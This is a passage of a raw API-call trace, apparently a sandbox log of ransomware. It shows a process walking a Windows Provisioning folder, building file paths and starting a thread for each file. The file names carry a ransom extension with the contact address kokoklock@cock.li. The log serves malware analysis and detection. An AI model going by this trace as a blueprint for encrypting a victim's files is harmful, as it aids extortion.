hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8df69c30, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="180__C~1.D0E")) returned 1 [0177.582] wcscmp (_String1="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.582] wcscmp (_String1="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.582] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x186) returned 0x2fcf330 [0177.582] wcscpy (in: _Dest=0x2fcf330, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.582] wcscat (in: _Dest=0x2fcf330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.582] wcscat (in: _Dest=0x2fcf330, _Source="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcf330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0177.583] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dfb5e78, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="181__C~1.D0E")) returned 1 [0177.583] wcscmp (_String1="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.583] wcscmp (_String1="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.583] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18c) returned 0x2faa940 [0177.583] wcscpy (in: _Dest=0x2faa940, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.583] wcscat (in: _Dest=0x2faa940, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.583] wcscat (in: _Dest=0x2faa940, _Source="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faa940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0177.596] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dfdc1ab, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="182__C~1.D0E")) returned 1 [0177.598] wcscmp (_String1="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.598] wcscmp (_String1="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.598] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18c) returned 0x2faaad8 [0177.598] wcscpy (in: _Dest=0x2faaad8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.598] wcscat (in: _Dest=0x2faaad8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.598] wcscat (in: _Dest=0x2faaad8, _Source="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faaad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0177.599] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e0023c1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x342, dwReserved0=0x0, dwReserved1=0x0, cFileName="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="183__C~1.D0E")) returned 1 [0177.599] wcscmp (_String1="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.599] wcscmp (_String1="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.599] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18c) returned 0x2faac70 [0177.599] wcscpy (in: _Dest=0x2faac70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.599] wcscat (in: _Dest=0x2faac70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.599] wcscat (in: _Dest=0x2faac70, _Source="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faac70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0177.600] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e0284f1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x39b, dwReserved0=0x0, dwReserved1=0x0, cFileName="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="184__C~1.D0E")) returned 1 [0177.600] wcscmp (_String1="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.600] wcscmp (_String1="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.600] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1a6) returned 0x2faae08 [0177.600] wcscpy (in: _Dest=0x2faae08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.600] wcscat (in: _Dest=0x2faae08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.600] wcscat (in: _Dest=0x2faae08, _Source="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faae08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0177.601] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e074a39, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="185__C~1.D0E")) returned 1 [0177.601] wcscmp (_String1="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.601] wcscmp (_String1="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.601] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x196) returned 0x2faafb8 [0177.601] wcscpy (in: _Dest=0x2faafb8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.601] wcscat (in: _Dest=0x2faafb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.601] wcscat (in: _Dest=0x2faafb8, _Source="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faafb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0177.602] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e09ac37, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x397, dwReserved0=0x0, dwReserved1=0x0, cFileName="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="186__C~1.D0E")) returned 1 [0177.602] wcscmp (_String1="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.602] wcscmp (_String1="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.602] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x194) returned 0x2ff1850 [0177.602] wcscpy (in: _Dest=0x2ff1850, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.602] wcscat (in: _Dest=0x2ff1850, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.602] wcscat (in: _Dest=0x2ff1850, _Source="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0177.603] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e0c0ed3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x39b, dwReserved0=0x0, dwReserved1=0x0, cFileName="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="187__C~1.D0E")) returned 1 [0177.603] wcscmp (_String1="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.603] wcscmp (_String1="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.603] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18e) returned 0x2ff19f0 [0177.603] wcscpy (in: _Dest=0x2ff19f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.603] wcscat (in: _Dest=0x2ff19f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.603] wcscat (in: _Dest=0x2ff19f0, _Source="187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff19f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0177.604] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e0e714a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="188__C~1.D0E")) returned 1 [0177.604] wcscmp (_String1="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.604] wcscmp (_String1="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.604] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18e) returned 0x2ff1b88 [0177.604] wcscpy (in: _Dest=0x2ff1b88, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.604] wcscat (in: _Dest=0x2ff1b88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.604] wcscat (in: _Dest=0x2ff1b88, _Source="188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1b88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0177.604] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e10d429, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="189__C~1.D0E")) returned 1 [0177.604] wcscmp (_String1="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.604] wcscmp (_String1="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.604] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2ff1d20 [0177.605] wcscpy (in: _Dest=0x2ff1d20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.605] wcscat (in: _Dest=0x2ff1d20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.605] wcscat (in: _Dest=0x2ff1d20, _Source="189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All 